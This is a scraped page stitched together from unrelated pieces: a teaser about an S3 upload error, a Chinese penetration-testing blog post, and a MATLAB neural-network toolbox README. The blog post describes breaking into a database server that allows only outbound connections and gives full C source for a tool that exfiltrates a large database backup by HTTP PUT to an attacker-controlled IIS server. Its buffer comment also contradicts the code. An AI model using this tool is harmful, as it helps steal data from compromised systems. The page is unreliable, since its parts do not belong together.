用PUT方式上传大文件

S3 上传大文件 InvalidRange 问题 s3流式上传大文件,报错:416 InvalidRange tar -cP data_150G | s3cmd put - s3://wuyan_test/data_150G 经过多次测试,得到结论: 文件大小从150GB~1TB 都会导致416错误 问题表现 s3cmd output: rgw log: 2018-08-22 21:26:12.854078 7f25... 阅读详情


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注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到邪恶八进制信息安全团队技术讨论组。I.S.T.O版权所有,转载需注明作者。
最近做一个渗透,目标机为一台数据库服务器,对外没有开放,只能反连出来,上面有个100多M的数据库备份,用后门下载的时候总是掉线,听mickey说用PUT方式可以上传大文件,于是从网上找找了代码,写了个命令行下上传大文件的C程序.
代码:
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <wininet.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wininet.lib")
void Usage (char *name);//帮助信息
BOOL UseHttpSendReqEx(HINTERNET hConnect, TCHAR *upFile, TCHAR *localFile)
{
INTERNET_BUFFERS BufferIn = {0};
DWORD dwBytesRead;
DWORD dwBytesWritten;
BYTE pBuffer[302480]; // Read from file in 300M chunks,最大支持300M文件
BOOL bRead, bRet;
BufferIn.dwStructSize = sizeof( INTERNET_BUFFERS );
//使用put方式上传文件:
HINTERNET hRequest = HttpOpenRequest (hConnect, "PUT",
localFile, NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, 0);
if (!hRequest)
{
printf("Failed to open request handle: %lu/n", GetLastError ());
return FALSE;
}
//打开指定的文件:
HANDLE hFile = CreateFile (upFile, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("/nFailed to open local file %s.", upFile);
return FALSE;
}
BufferIn.dwBufferTotal = GetFileSize (hFile, NULL);
printf ("File size is %d/n", BufferIn.dwBufferTotal );
if(!HttpSendRequestEx( hRequest, &BufferIn, NULL, HSR_INITIATE, 0))
{
printf( "Error on HttpSendRequestEx %lu/n",GetLastError() );
return FALSE;
}
DWORD sum = 0;
do
{
if  (!(bRead = ReadFile (hFile, pBuffer, sizeof(pBuffer),&dwBytesRead, NULL)))
{
printf ("/nReadFile failed on buffer %lu.",GetLastError());
break;
}
if (!(bRet=InternetWriteFile( hRequest, pBuffer, dwBytesRead,&dwBytesWritten)))
{
printf ("/nInternetWriteFile failed %lu", GetLastError());
break;
}
sum += dwBytesWritten;
}
while (dwBytesRead == sizeof(pBuffer)) ;
CloseHandle (hFile);
printf ("Actual written bytes: %d/nupload %s successed!/n", sum,localFile);
//结束一个HTTP请求:
if(!HttpEndRequest(hRequest, NULL, 0, 0))
{
printf( "Error on HttpEndRequest %lu /n", GetLastError());
return FALSE;
}
return TRUE;
}
int main(int argc, char **argv)
{
//put 127.0.0.1 /1.db c://wmpub//1.exe
if(argc!=4)
{
Usage(argv[0]);
return 0;
}
//char *ServerName="127.0.0.1"; //这里填写URL地址
char *ServerName=argv[1];
HINTERNET hSession = InternetOpen("HttpSendRequest",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); //同步方式
if(!hSession){
printf("Failed to open InternetOpen/n");
exit(0);
}
//连接到一个http服务:
HINTERNET hConnect = InternetConnect(hSession,
ServerName,
INTERNET_DEFAULT_HTTP_PORT, //连接到80端口,可以修改成任意端口,比如53
NULL,
NULL,
INTERNET_SERVICE_HTTP, //服务类型HTTP,FTP或Gopher
0,
1);
if(!hConnect)
{
printf("error InternetConnect/n");
return 0;
}
//TCHAR *putfile="c://wmpub//1.exe"; //上传的程序
TCHAR *putfile=argv[3];
TCHAR *putlocalfile=argv[2];
BOOL sigh;
sigh=UseHttpSendReqEx(hConnect,putfile,putlocalfile);
if(!sigh)
{
printf("error UseHttpSendReqEx/n");
return 0;
}
return 0;
}
//输出帮助的典型方法:
void Usage (char *name)
{
fprintf(stderr,"===============================================================================/n"
"/t名称:利用PUT上传300M的大文件/n"
"/t环境:Win2003+Visual C++ 6.0/n"
"/t作者:pt007@vip.sina.com/n"
"/tQQ:  7491805/n"
"/t声明:本软件由pt007原创,转载请注明出处,谢谢!/n"
"/t使用说明:1.db为上传后保存后的文件,c://wmpub//1.exe为本地要上传的大文件,/n/t需要IIS里面设置允许写入!/n"
"/t例子:%s 192.168.1.101 /1.db c://wmpub//1.exe/n"
"===============================================================================/n",name);
}
本文来源于:Chinadu`s Blog http://www.4shell.org  原文地址: http://www.4shell.org/archives/888.html

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B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

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